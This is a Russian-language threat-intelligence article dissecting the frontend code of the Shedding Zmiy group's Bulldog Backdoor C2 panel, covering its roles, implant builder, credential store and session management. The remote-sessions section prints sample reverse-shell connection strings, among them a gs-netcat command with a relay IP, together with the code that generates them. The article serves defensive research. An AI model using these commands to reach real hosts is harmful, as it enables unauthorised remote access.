В арсеналах Shedding Zmiy: разбираем код веб-панели Bulldog Backdoor

В ходе исследования инфраструктуры проукраинской хакерской группировки Shedding Zmiy мы сделали любопытную находку. На одном из их C2-серверов в открытом доступе оказалась веб-панель, относящаяся к вредоносному ПО Bulldog Backdoor.

Bulldog Backdoor представляет собой кастомный кроссплатформенный имплант, написанный на языке Golang. Он имеет широкую функциональность, которая позволяет злоумышленникам выполнять различные задачи в инфраструктуре жертвы. О нем известно как минимум с 2024 года. Данный вредонос мы упоминали в предыдущих публикациях, посвященных инструментарию Shedding Zmiy (статья 1, статья 2), а наши коллеги из Positive Technologies делали подробный разбор ранних версий этого ВПО.

Обнаруженная нами панель управления представляет собой веб-приложение, написанное на React.js (frontend-часть). Она предоставляет операторам интерфейс для взаимодействия с уже развернутыми имплантами, а также содержит функциональность для генерации новых. Мы считаем данную панель ключевым элементом инфраструктуры группировки, так как она:

агрегирует собранные данные, полученные в ходе вредоносных кампаний,
служит интерфейсом управления активными операциями,
обеспечивает централизованный контроль над всей сетью зараженных систем.

Основные возможности панели:

Генерация новых имплантов. Причем не ограничиваясь только Bulldog Backdoor: текущая версия панели вышла за рамки одного вида импланта и предоставляет инструменты более широкого спектра.
Управление активными сессиями, установленными во внутренней инфраструктуре жертвы.
Передача команд развернутым имплантам. Команды могут быть отложенными (отправка с таймером), что потенциально позволяет имитировать активность в другом часовом поясе.
Сбор статистики — количество активных, завершенных и потерянных сессий, а также подробности по каждой из них.
Интерактивная карта инфраструктуры жертвы, обновляющаяся в реальном времени.
Система сущностей с многоуровневой абстракцией — "Цель", "Хост" и другие, что позволяет операторам работать с данными как на уровне конкретных машин, так и обобщенных целей.
Автоматизированный перебор паролей, выполняемый на основе уже собранных учётных данных с зараженных хостов.
Возможность создания заметок для целей и связанных с ними хостов. Поддерживается язык MD. Это нужно для лучшего распределения важной для вредоносной кампании информации между операторами.

Нам удалось загрузить исходный код frontend-части этой веб-панели, что позволило провести более детальный технический анализ ее структуры и механизмов.

В этой статье мы подробно разберем структуру и функциональность веб-панели (v0.1.15), попытаемся понять подходы Shedding Zmiy к созданию инструмента управления вредоносным ПО.

Данные, представленные на скриншотах, мы сгенерировали для наглядности, чтобы создать детальное представление о работе операторов.

Структура проекта

В корне проекта находится папка static и файлы index.html, manifest.json. В файле index.html, как и для любого другого React приложения, осуществляется подключение файла main.*.js. Файл manifest.json (файл метаданных о проекте) имеет следующее содержимое:

    
{
    "short_name": "Collector",
    "name": "Collector",
    "start_url": ".",
    "icons": [
        {
        "48": "Ezio-icon.png"
        }
    ],
    "display": "standalone"
}

В папке static/js находятся:

Api – байндинги для работы с C2 сервером (REST API);
Components - компоненты веб приложения;
shared – определения некоторых моделей;
features – содержит вспомогательные определения;
main.49dc44eb.js – собранный JS файл приложения.

Все основные компоненты импортируются в файле App.tsx с помощью react-router, по этому же роутеру можно примерно понять возможности веб-панели уже на этом этапе:

    
<Routes>
        <Route path="/" element={<AuthPage />}></Route>
        <Route path="/ui/oauth" element={<OAuth />} />
        <Route path="/ui/home" element={<HomePage />}></Route>
        <Route path="/ui/table" element={<DataTable />}></Route>
        <Route path="/ui/binary" element={<BinaryTable />}></Route>
        <Route path="/ui/gs-netcat" element={<NetcatTablePage />}></Route>
        <Route path="/ui/beacon" element={<BeaconTable />}>  </Route>
        <Route path="/ui/beacon/:id/messages/" element={<MessagesTable />} />
        <Route path="/ui/users/:id" element={<UserPage />}></Route>
        <Route path="/ui/clients" element={<ClientsPage />}></Route>
        <Route path="/ui/credentials" element={<CredentialsPage />}></Route>
        <Route path="/ui/server-tokens" element={<TokenTable />}></Route>
        <Route path="/ui/target-host" element={<TargetHostPage />}></Route>
        <Route path="/ui/target-host/:id/info/" element={<HostInfoPage />} />
        <Route path="/ui/targets" element={<TargetsPage />} />
        <Route path="/ui/target/:id/info" element={<TargetInfoPage />} />
        <Route path="/ui/binary/:id/info" element={<BinaryInfo />} />
        <Route path="/ui/cmd" element={<CMDPage />} />
        <Route path="/ui/cmd/:id/info" element={<HostCmdInfo />} />
        <Route path="/ui/target/:id/note/:node_id" element={<NoteInfo />} />
        <Route path="/ui/statistics" element={<Statistics />} />
</Routes>

Страница логина

Первым делом нас встречает страница логина

Логин в панель осуществляется с помощью login/password, есть также поддержка Authentik.

Сообщение при включенном 2FA для аккаунта

Authentik — это платформа с открытым исходным кодом для управления доступом и проверки личности пользователей в различных сервисах. Она позволяет настраивать единый вход (SSO), подключать многофакторную аутентификацию (MFA) и легко интегрируется с такими протоколами, как OAuth2, SAML и LDAP. Authentik используется для защиты веб-приложения и гибкого управления правами доступа на основе ролей.

Главная страница (/ui/home)

После успешного логина пользователю выдается JWT токен, происходит заполнение объекта типа CurrentUser (Local Storage). Сам тип пользователя выглядит следующим образом:

    
export type CurrentUser = {
    allowed_roles: string[],
    client_id: string,
    roles: string[],
    token: string,
    user_id: string
}

Поле roles содержит права пользователей. Ранее у злоумышленников был следующий список прав (по наименованию доступа к вкладкам):

session, binary, all-sessions, beacon, collector, credentials, target-host, target, admin, client, all-target-hosts

Однако в последних версиях набор ролей, судя по исходному коду, следующий:

session – наличие этой роли делает доступной вкладку sessions на странице target info (Targets list > кнопка Info > Sessions), а также добавляет возможность задавать поле "New session webhook" при создании\редактировании клиента;
operator – имеет доступы к вкладкам Build binary, Targets list, Target > Beacon, Target > Collection results, Target > Credentials, Target > Remote sessions, Target > Target hosts, Target > Commands, Statistics;
super-operator – имеет доступы к дополнительным полям во вкладках Target > Beacon, Target > Credentials, Target > Target hosts, Target > Remote sessions;
admin – доступ к вкладке Admin (Clients, Users, Server tokens);
client – доступ к работе с клиентами (Admin > Clients, Admin > Users).

Так как набор ролей – это массив, пользователь может иметь одно, сразу несколько прав или все сразу. На картинке ниже изображена главная страница по пути /ui/home для пользователя со всеми правами доступа:

Главная страница веб-панели Bulldog Backdoor

Поле token структуры CurrentUser – JWT токен, который выдается после авторизации.

Поле user_id – ID текущего юзера, uuid4 (формат 00000000-0000-0000-0000-000000000000). На данный момент нам известно как минимум о 7 уникальных user_id, что говорит о как минимум 7 активных учетных записях на сервере злоумышленников.

Поле client_id содержит UUID клиента, к которому привязан данный юзер. Данную сущность для простоты можно воспринимать как синоним команды (Team), так как при удалении клиента удаляются все связанные с ним пользователи.

По имеющимся у нас данным, Client не используется злоумышленниками в полной мере, так как во всех известных нам атаках группировка Shedding Zmiy использовала один и тот же client_id.

Targets list (/ui/targets)

Данная вкладка позволяет управлять сущностью Target. Ее название полностью описывает предназначение: она представляет атакуемую цель. Эту абстракцию, вероятно, создали для удобства. Target объединяет все другие сущности (хосты, пароли, файлы и т.д.) и позволяет злоумышленникам увидеть полную картину компрометации атакуемой организации. Данная вкладка выглядит следующим образом:

В этой вкладке можно управлять всеми скомпрометированными целями, а также добавлять новые. При создании таргета необходимо указать поля Name (required), Server ip и Domain.

Окно создания нового Target на вкладке Targets list

Из этой же вкладки можно получить доступ ко всем собранным файлам, перейти в более детализированный вид таргета (значок с восклицательным знаком), добавить в избранное, отредактировать и удалить. При переходе в детализированный вид отображается следующее окно:

Страница Target Info (/ui/target/:id/info)

В этом окне можно посмотреть:

список событий Events (относящихся к данному Target);
список хостов Hosts (сущность создается при активации импланта);
визуальную карту всех узлов Jungle map;
заметки Notes;
активные сессии Sessions;
активные импланты Beacons;
собранные файлы Collection results;
собранные пароли Credentials;
команды Commands;
задачи Target Tasks.

Вкладка Jungle map содержит полную карту инфраструктуры жертвы в виде графа. Типы отображаемых узлов изображены на следующей картинке:

Типы отображаемых узлов на вкладке Jungle map

Для формирования узлов графа значки узлов (операционная система или шлюз) совмещаются с цветными кружками (хосты с разными правами, с разным доступом и т.д.). Например, на картинке ниже мы показали хост на Windows с root-правами и Darwin-хост с правами пользователя:

Мы сделали небольшую визуализацию на основе тестовых данных. На картинке приведена примерная картина сети жертвы, которую мог бы видеть оператор в реальной атаке:

При наведении указателя мыши на узел с типом host можно увидеть названия (title) ребер, соединенных с ним узлов-процессов (эта информация формируется на основе сбора информации о процессах на хосте жертвы).

Карта сети (процессы на хосте corporate-host-2)

При нажатии на узел выводится подробная информация о его списках адресов, процессов, маршрутов (возможно, это связано с сетевыми маршрутами).

Не менее интересной является кнопка "Hashtopolis: Crack Passwords", она запускает задачу перебора паролей по словарю для трех вариантов словарей:

пароли текущих целей;
пароли всех целей;
глобальный список (вероятно, собранный из доступных источников).

Hashtopolis — это open-source система для распределённого взлома хешей, предназначенная для управления большим количеством рабочих агентов (workers), которые выполняют задачу по перебору паролей.

Build Binary (/ui/binary)

Одна из самых интересных вкладок. Как можно догадаться по названию, она отвечает за компиляцию имплантов, которые поддерживает веб-панель. Вкладка выглядит так:

При переходе на эту вкладку отображается таблица уже собранных имплантов. Полный список полей, которые здесь отображаются:

Столбец	Описание
Kind	Тип импланта
Binary Hashes	Хеши собранного импланта (появляется при нажатии на восклицательный знак в столбце Kind)
OS	Операционная система
Arch	Архитектура
Version	Версия импланта
Logging	Тип логирования
Tags	Теги, связанные с имплантом
Parts	Подмодули, которые необходимо включить в сборку (актуально для типа bb-custom)
Proxy	Адрес прокси сервера
Domain	Имя домена
Server IP	IP управляющего сервера
Target	Связанная сущность Target (цель)
Result	Результат сборки
Install	Предназначение неизвестно
Created	Дата создания
Updated	Дата последнего обновления

Собранный имплант можно удалить из таблицы при нажатии на соответствующий значок. Также имеется кнопка в виде "шестеренки" – , при нажатии на которую всплывает окно конфигурации импланта.

Имплант содержит множество полей для конфигурации. Всего нам известно о девяти видах имплантов:

collector;
bb;
bb-shell;
beacon;
bb-custom;
beacon-dll;
revshell-dll;
dd-proxy;
dd-agent.

Поле "Operating System" может принимать значения: "darwin", "freebsd", "linux", "windows", "win7".

Среди поддерживаемых архитектур присутствуют значения: "amd64", "arm64", "386", "mipsle", "mips".

Поле logging может принимать значения: "none", "file", "console" (ранее в панели вместо "file" было значение "console+file")

Эти импланты можно разделить на группы по наборам полей, которые появляются в зависимости от типа.

Типы имплантов веб-панели и их дополнительные поля

Для collector, bb, bb-shell, bb-custom — это поля Arguments (доп. аргументы), Proxy (адрес прокси сервера). Мы выделяем эти импланты в категорию "исторических". Вероятно, первые версии Bulldog Backdoor включали в себя функциональность этих типов имплантов.

В предыдущих версиях ВПО присутствовали модули Collector (отвечает за сбор данных на хостах жертвы согласно предварительно заданному collection config), bb (основная функциональность бэкдора).

Также для импланта bb-custom существует еще одно уникальное поле Parts, возможные значения которого нам неизвестны (однако можно предположить, что данное поле позволяет "кастомно" собрать бинарный файл, включить только определенный набор модулей).

Для dd-agent — Read Path, Write Path, Min Read, Max Read, Win Service Name, Win Service Display Name, Min Emit, Max Emit, Start Delay.

Для dd-proxy — Relay, Win Service Name, Win Service Display Name, Min Emit, Max Emit, Start Delay.

"dd"-типы мы выделяем во вторую категорию. Судя по набору полей, данный тип импланта представляет собой сервис.

Для beacon, beacon-dll, revshell-dll в этот набор полей входит Server IP, Domain, Proxy, Machine ID, Secret, Arguments. Эти типы мы выделяем в третью категорию "beacon"-типов. На текущий момент все найденные нами семплы, относящиеся к Bulldog Backdoor, в конфигурации имели поле kind, установленное в значение "beacon". Однако в коде панели мы обнаружили наличие подтипов для "beacon":

    
export type BeaconType =
    | "gecko"
    | "puma"
    | "gwyntyk"
    | "mushroom"
    | "teardrop"
    | "gsnetcat"
    | "mycelium"
    | "proxy"
    | "revshell"
    | unknown;

Binary Token

После сборки бинарного файла происходит генерация JWT токена, с помощью которого имплант будет взаимодействовать с C2-сервером. Ранее мы встречали такие токены в конфигурациях семплов Bulldog Backdoor. В свою очередь, сущности Binary и Binary Token связаны с User (один пользователь ко множеству бинарных файлов), а также с сущностями Target и Client (информация о них также помещается в конфигурацию Bulldog Backdoor). Управление этими токенами доступно в меню Edit user текущего пользователя.

В этом меню возможно переключение состояния токенов в активное\неактивное, а также удаление токенов.

Target

При наведении на эту вкладку появляется выпадающий список, который содержит ссылки на страницы для работы с сущностями, связанными с Target.

Beacon (/ui/beacon)

Данная вкладка позволяет управлять имплантами. Можно получить информацию об активных beacon’ах, добавить комментарий, перейти на страницу команд (/ui/beacon/:id/messages/), удалить beacon. Среди информации, выводимой в таблице, присутствуют поля Last emitted (время последнего отклика), Next expected emit (ожидаемое время следующего отклика), статус обработки последней команды.

Как можно видеть, разработчики добавили свою иконку для каждого beacon type.

Доступные импланты веб-панели Bulldog Backdoor

Здесь мы видим, что веб-панель объединяет множество имплантов, часть из которых являются известными инструментами Shedding Zmiy:

руткит Puma (про него мы уже подробно рассказывали в одной из наших публикаций).
gsnetcat
Bulldog Backdoor (вероятно, в виде имплантов gecko, revshell и proxy)

Для импланта gecko есть возможность обновить конфигурацию.

Окно обновления конфигурации импланта gecko

Кнопка с информацией об импланте выводит модальное окно с частичной информацией о хосте (Target Host), на котором запущен имплант.

При нажатии на кнопку Commands происходит переход в соответствующий раздел, в котором можно видеть текущие команды, а также задавать их. Можно также указывать дату исполнения команды, что довольно интересно, так как потенциально это может быть использовано в целях имитации работы в различных часовых поясах.

Страница команд Beacon’а (/ui/beacon/:id/messages/)

Collection results (/ui/table)

Эта вкладка содержит все файлы, собранные модулем Collector (согласно заданному Collection Config), который вызывается командой collect.

Перечисленные в таблице файлы можно скачать в архиве и без архива, а также удалить. Гиперссылки в столбцах Hostname и Target ведут соответственно на страницы Target Info (см. Раздел Targets list) и Target host info (см. Раздел Target hosts).

React компонент, управляющий этой таблицей, называется Table.tsx. Это довольно общее название, вероятно, оставшееся еще со времен начала разработки. Определения столбцов находятся в файле с названием ui/TableColunms.tsx. Здесь есть довольно забавный момент. Дело в том, что в предыдущих версиях веб-панели определения находились в файле Colunms.tsx, название которого написано с орфографической ошибкой. Затем этот файл отрефакторили, переместили в отдельную папку ui и переименовали, однако опечатка осталась. Подобные опечатки встречаются в коде еще несколько раз, например, bild_kind вместо build_kind, extentions (довольно распространенная ошибка среди тех, для кого английский не является родным языком) вместо extensions.

Также интересным является формат данных api эндпоинта, который возвращает список сущностей CollectionResult, а именно поле created_at. Во всех других сущностях данное поле содержит непосредственно дату и время создания (в формате, поддерживаемом Date в стандарте ECMAScript), однако в этом эндпоинте поле представляет собой вложенный JSON объект с полем Time:

    
{
…
    “Created_at”: {
        “Time”: “Tue Mar 26 21:02:34 2024”
    }
}

Подобный формат данных в этом эндпоинте может быть "наследием" первых версий веб панели.

Также вкладка Collection results представлена в расширенной информации о хосте (см. Раздел Target hosts). В этой вкладке отображается расширенная информация, которая от сервера передается в массиве объектов collection_result_analysis. Вероятно, у злоумышленников на стороне сервера или на стороне имплантов присутствует обработка собранных результатов.

Расширенная информация о Collection results во вкладке Target Info

Credentials (/ui/credentials)

В данной вкладке отображается список всех сущностей Credential.

Полный список полей:

Столбец	Описание
Login	Поле логина
Password	Пароль
Password hash	Хэш пароля (какой именно — неизвестно)
Key	Поле рендерится как ссылка на скачивание файла. Вероятно, это поле предназначено для SSH-ключей. Точное предназначение неизвестно.
Service	Вероятно, имя сервиса, для которого предназначены учетные данные
Client	Поле доступно пользователю с привилегией super-operator
Created at	Дата и время создания
Last used	Дата и время последнего использования
Expired At	Срок действия
CMD	Точное предназначение поля неизвестно
Comment	Комментарий
Actions	Кнопка действия: Set Last Used – устанавливает текущую дату в Last used, Set expired – делает Credential "устаревшим" (начинает подсвечиваться серым), Mark as favourite – добавить в избранное, Edit – редактировать, Delete – удалить

На странице информации о сущности Target в разделе Credentials можно добавлять новые учетные данные вручную. Добавлять новые Credentials на этой вкладке нельзя. Для этого существует два варианта:

Перейти в Targets list. Нажать на кнопку info для target, а далее нажать кнопку "Add credentials";

Кнопка Add credentials на странице Target

Перейти в Target >Target lists, нажать на кнопку info для хоста, а далее нажать кнопку "Add credentials".

Кнопка Add credentials на странице Target Host

Remote sessions (/ui/gs-netcat)

Данная вкладка содержит информацию о текущих сессиях. Помимо приведенных на скриншоте ниже полей, присутствуют также First seen, Last seen, Comment, GW (Gateway), token_status.

Внимательные читатели могли обратить внимание на то, что в путях, которые прописываются в файле App.tsx (см. Раздел структура проекта), нет никакого упоминания Remote Sessions. Это действительно так. В приложении эта вкладка имеет путь /ui/gs-netcat, а ее компонент описывается в файле NetcatTablePage.tsx. Это позволяет предположить, что изначально разработчики планировали, что эта вкладка будет отвечать только за работу с GSocket, но со временем добавились новые типы имплантов. К ним добавилась и новая функциональность, а про название компонента, вероятно, забыли.

В столбце Actions присутствуют 4 кнопки: Copy connection string, Info, Comment, Delete. Также сверху есть две кнопки: Export CSV (экспортирует данные из таблицы, включая Connection string, в CSV файл), Export conn strings (экспортирует строки для коннекта в .txt файл, добавляя в конце команды комментарий с адресом хоста и комментарием, если он задан).

Connection string, как можно догадаться по названию, представляет собой строку, формирующуюся на основе данных о сессии. После ее генерации и копирования злоумышленник успешно вставляет ее в свой терминал, получая таким образом удаленный доступ к сессии на хосте жертвы. Пример сгенерированных строк для типов mycelium, proxy, revshell, gs-netcat (данные для подстановки являются тестовыми и сгенерированы для наглядности) с использованием кнопки Export conn strings:

    
mushroom shell -t TARGETPATH1,TARGETPATH2 # 83.199.120.34 root session
bb rev-client --sid 4be6d87f-69a6-415c-a816-ba1cb91e0d06 # 83.199.120.34 root session
bb revsh-connect --sid 9e454878-eb50-4493-b4f8-6c218cee5bc0 # 83.199.120.34 root session
GSOCKET_IP=86.12.34.55 GSOCKET_PORT=65535 gs-netcat -i -s Y3MThM12TARfXoJZ8MM4TGbB1uBVg1Da # 83.199.120.34 root session

Ниже можно увидеть код, отвечающий за генерацию этих строк:

    
return x.type === "revshell"
? `bb revsh-connect --sid ${x.id}`
: x.type === "proxy"
? `bb rev-client --sid ${x.id}`
: x.type === "mycelium"
? `mushroom shell -t ${x.additional_info.target_path.join(",")}`
: relayParts.length !== 2
? ""
: `GSOCKET_IP=${relayParts[0]} GSOCKET_PORT=${relayParts[1]} gs-netcat -i -s ${x.secret}`;

Наблюдаем последовательность тернарных операторов. По построению кода видно, что connection string для gs-netcat был добавлен одним из первых, так как не подразумевает фактического наличия значения gsnetcat в поле type сущности Session.

Следует заметить, что поле secret для сессии идентично заданному для типа импланта beacon (данное поле характерно для имплантов beacon, beacon-dll, revshell-dll). Аргумент --sid для типов revshell и proxy представляет собой идентификатор сессии (так как в конфигах имплантов Bulldog Backdoor UUID поля могут использоваться без знака "-", мы не исключаем такого варианта и в connection string, данные были сгенерированы для наглядности).

При нажатии на кнопку Info выводится модальное окно с основными данными о сессии, а также о связанных с ней сущностями.

Окно Info для цели на вкладке Remote Sessions

Target hosts (/ui/target-host)

В данной вкладке отображается список хостов жертвы. Каждому Target принадлежат сущности Target host. В то же время Target является сущностью, агрегирующей информацию на уровне всей инфраструктуры жертвы. Сущность Target host преследует похожую цель и агрегирует информацию на уровне хоста жертвы для удобства работы оператора. В столбце Actions есть стандартный набор кнопок: информация (переходит на вкладку подробной информации о хосте жертвы), комментарий, удалить хост.

В разделе info можно получить информацию о хосте жертвы. При нажатии на эту кнопку происходит переход по пути /ui/target-host/:id/info/. Также в правом верхнем углу присутствует переключатель Silent (точное предназначение неизвестно), Alert level (red, green, yellow, grey), кнопка удаления хоста и кнопка перехода на предыдущую вкладку.

Раздел info цели на вкладке Target hosts

Среди интересных вкладок можно заметить Patched bins, Logs, Shollector results.

Patched bins отображает следующую таблицу.

Подраздел Patched bins цели на вкладке Target hosts

Достоверно предназначение данной вкладки неизвестно, но мы считаем, что она может быть связана с модифицированными легитимными файлами ps, netstat, ss, htop, которые Shedding Zmiy любят заменять на скомпрометированных хостах. Файлы модифицируются таким образом, чтобы скрывать заданные IP-адреса или имена процессов из вывода.

Во вкладке Logs содержится таблица с логами.

Подраздел Logs цели на вкладке Target hosts

Во вкладках Remote sessions и Beacons отображается информация о сессиях и имплантах, развернутых на данном хосте.

Подразделы Remote sessions и Beacons цели на вкладке Target hosts

Во вкладке Commands отображаются команды для этого хоста и их результат. Кнопки в столбце Command отвечают за "сворачивание" и "разворачивание" команды.

Подраздел Commands цели на вкладке Target hosts

Вкладка Shollector results связана с командой shollect имплантов Bulldog Backdoor, эта команда появилась, начиная как минимум с версии 0.4.20.

Подраздел Shollector results цели на вкладке Target hosts

Также присутствует вкладка Notes (/ui/target-host/:id/info#notes). Эту вкладку можно было также заметить у сущности Target (см. Раздел Target list). Сущность Note связывается с Target, а также со списком хостов. Это означает, что одна сущность Target может иметь множество сущностей Note. То же самое применимо и для сущности Target host. Она предназначена для создания каких-либо специальных заметок, которые будут отображаться на уровне цели и указанных при создании хостов. Вероятно, сделано это было для агрегации "полезной" информации в рамках вредоносной кампании, к которой каждый оператор имеет доступ.

Создание заметки осуществляется из вкладки Target. При создании новой заметки можно указать список хостов, а также загрузить txt-файл с самой заметкой или ввести содержимое заметки вручную. Во вкладке Target hosts > Notes затем будет отображаться список заметок, ассоциированных с данным хостом. Также можно загрузить файл заметки и удалить заметку. Существует два вида отображения заметок: Notes cards и Notes list. Их вид изображен на рисунках ниже.

При нажатии на название заметки осуществляется переход по пути /ui/target/:id/note/:note_id. В этой вкладке отображается информация из заметки.

Содержимое заметки (/ui/target/:id/note/:note_id)

Страница создания новой заметки (/ui/target/:id/info#notes)

При этом в окне редактирования содержимого заметки поддерживается язык MD, а также есть три режима отображения: разметка, разметка+превью, превью.

Редактирование заметки в режиме превью + код

Commands (/ui/cmd)

На данной вкладке можно просмотреть запланированные команды для имплантов. На скриншоте ниже приведена демонстрация восьми вариаций команд для различных типов имплантов (столбец Default Method). Под методом в данном случае подразумевается тип beacon’а.

При двойном клике на команду осуществляется переход по пути /ui/cmd/:id/info, в котором можно детально посмотреть обработанную команду и ее результат.

Страница Command Info (/ui/cmd/:id/info)

Admin

Данная вкладка доступна пользователю с привилегией admin. При наведении также появляется выпадающий список.

Clients (/ui/clients)

Эта вкладка содержит информацию о сущностях Client. В ней можно добавлять новые сущности, редактировать, удалять их. Также доступна возможность посмотреть список пользователей, связанных с сущностью Client (тогда осуществится переход во вкладку /ui/users/CLIENT_ID).

Client содержит следующие поля: ID, Name, Allowed binaries, key, New session webhook. В поле Allowed binaries содержится список разрешенных для генерации типов имплантов. Во всех известных нам атаках злоумышленники использовали один и тот же идентификатор клиента. Key представляет собой ClientKey из конфига импланта. New session webhook, вероятно, содержит URL для установления новой сессии (однако данное поле необязательное, поэтому фактическое предназначение этого поля может отличаться).

Users (/ui/users/:id)

При переходе в данную вкладку из навигационной панели показывает список юзеров для текущего Client (в данном случае это тот Client, к которому привязан пользователь с привилегией администратора).

В этой вкладке можно создать, отредактировать, удалить пользователя, а также отредактировать текущего Client. Новому пользователю задается логин, пароль, набор ролей. Созданный пользователь привязывается к текущему (для этой вкладки) Client.

Server tokens (/ui/server-tokens)

В данной вкладке осуществляется управление токенами сервера. Эти токены могут быть нужны для взаимодействия с остальными сервисами. Также на этой вкладке можно создавать и удалять серверные токены.

При создании нового токена необходимо указать его server name.

Окно добавления server name для создания токена

После создания токена появляется окно, призывающее пользователя сохранить его.

Statistics (/ui/statistics)

Данная вкладка выводит статистику по жертвам за определенный период. В нее входит количество потерянных и новых имплантов и сессий. Каждое вхождение можно развернуть и посмотреть более подробную информацию.

Выводы

Веб-панель является ключевым элементом инфраструктуры группировки Shedding Zmiy, обеспечивая операторам централизованный контроль над зараженными системами. Её функциональность включает поддержку различных типов имплантов, в том числе ранее неизвестных, а также широкий спектр возможностей для управления и координации атак.

В телеграм канале CyberSquatting RU Alerts демонстрировалась интересная картинка, которая в определенной степени позволяет оценить масштаб деятельности группировки и количество скомпрометированных ею инфраструктур. Рассмотренная в статье веб-панель как раз предоставляет все необходимые инструменты для ведения постоянных атак и контроля большого количества узлов.

Интересным аспектом деятельности группировки Shedding Zmiy является их внимательное отношение к собственной инфраструктуре. Злоумышленники не просто развертывают свои инструменты и оставляют их без присмотра – напротив, они активно следят за работоспособностью своих C2-серверов, анализируют потенциальные угрозы и предпринимают меры для минимизации рисков.

Изучение и публичное обсуждение подобных угроз крайне важно. Это не только позволяет специалистам по кибербезопасности разрабатывать более эффективные методы защиты, но и помогает организациям и пользователям осознавать существующие риски и принимать упреждающие меры. Группировки вроде Shedding Zmiy постоянно совершенствуют свои инструменты, создавая новые, всё более изощренные импланты и техники сокрытия. Без анализа таких угроз невозможно выработать стратегии противодействия, способные соответствовать динамике атакующих, именно поэтому мы сочли необходимым поделиться данной информацией с коммьюнити.

Исследование фронтенд-компонента инфраструктуры C2-серверов злоумышленников дает ценную информацию об их возможностях, используемых механизмах контроля и методах взаимодействия с зараженными устройствами. Это, в свою очередь, позволяет выявлять слабые места в их операционной модели, повышать эффективность мониторинга вредоносной активности.

Вам может быть интересно

21.04.2025

В арсеналах Shedding Zmiy: разбираем код веб-панели Bulldog Backdoor